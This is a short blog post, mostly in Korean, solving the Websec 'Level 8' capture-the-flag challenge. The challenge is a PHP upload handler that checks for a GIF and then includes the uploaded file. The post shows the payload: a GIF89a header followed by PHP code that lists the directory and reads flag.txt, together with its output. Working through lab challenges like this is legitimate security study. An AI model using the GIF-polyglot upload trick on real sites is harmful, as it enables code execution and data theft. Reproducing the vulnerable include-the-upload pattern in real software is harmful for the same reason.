Post

Websec - Level 8

Level 8



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$uploadedFile = sprintf('%1$s/%2$s', '/uploads', sha1($_FILES['fileToUpload']['name']) . '.gif');

if (file_exists ($uploadedFile)) { unlink ($uploadedFile); }

if ($_FILES['fileToUpload']['size'] <= 50000) {
    if (getimagesize ($_FILES['fileToUpload']['tmp_name']) !== false) {
        if (exif_imagetype($_FILES['fileToUpload']['tmp_name']) === IMAGETYPE_GIF) {
            move_uploaded_file ($_FILES['fileToUpload']['tmp_name'], $uploadedFile);
            echo '<p class="lead">Dump of <a href="/level08' . $uploadedFile . '">'. htmlentities($_FILES['fileToUpload']['name']) . '</a>:</p>';
            echo '<pre>';
            include_once($uploadedFile);
            echo '</pre>';
            unlink($uploadedFile);
        } 
        else { echo '<p class="text-danger">The file is not a GIF</p>'; }
    } 
    else { echo '<p class="text-danger">The file is not an image</p>'; }
} 
else { echo '<p class="text-danger">The file is too big</p>'; }






Solution



gif파일인지 검사를 하는 코드가 있어서 파일은 반드시 gif파일만 올릴 수 있음.

텍스트파일을 gif파일로 변환해서 업로드 한 뒤 burp suite로 보면은 GIF89a로 시작한다는 점을 알 수 있음.

이를 이용해서 문제를 풀 수 있음.


GIF89a만 남기고 php 코드를 넣어주면 현재경로에 있는 파일을 볼 수 있음.


1
2
3
4
5
6
7
8
9
10
11
12
print_r(scandir('./')); 

Array
(
    [0] => .
    [1] => ..
    [2] => flag.txt
    [3] => index.php
    [4] => php-fpm.sock
    [5] => source.php
    [6] => uploads
)


그 다음 file_get_contents함수를 이용해서 flag.txt 파일을 읽어 플래그를 흭득하면 됨.






This post is licensed under CC BY 4.0 by the author.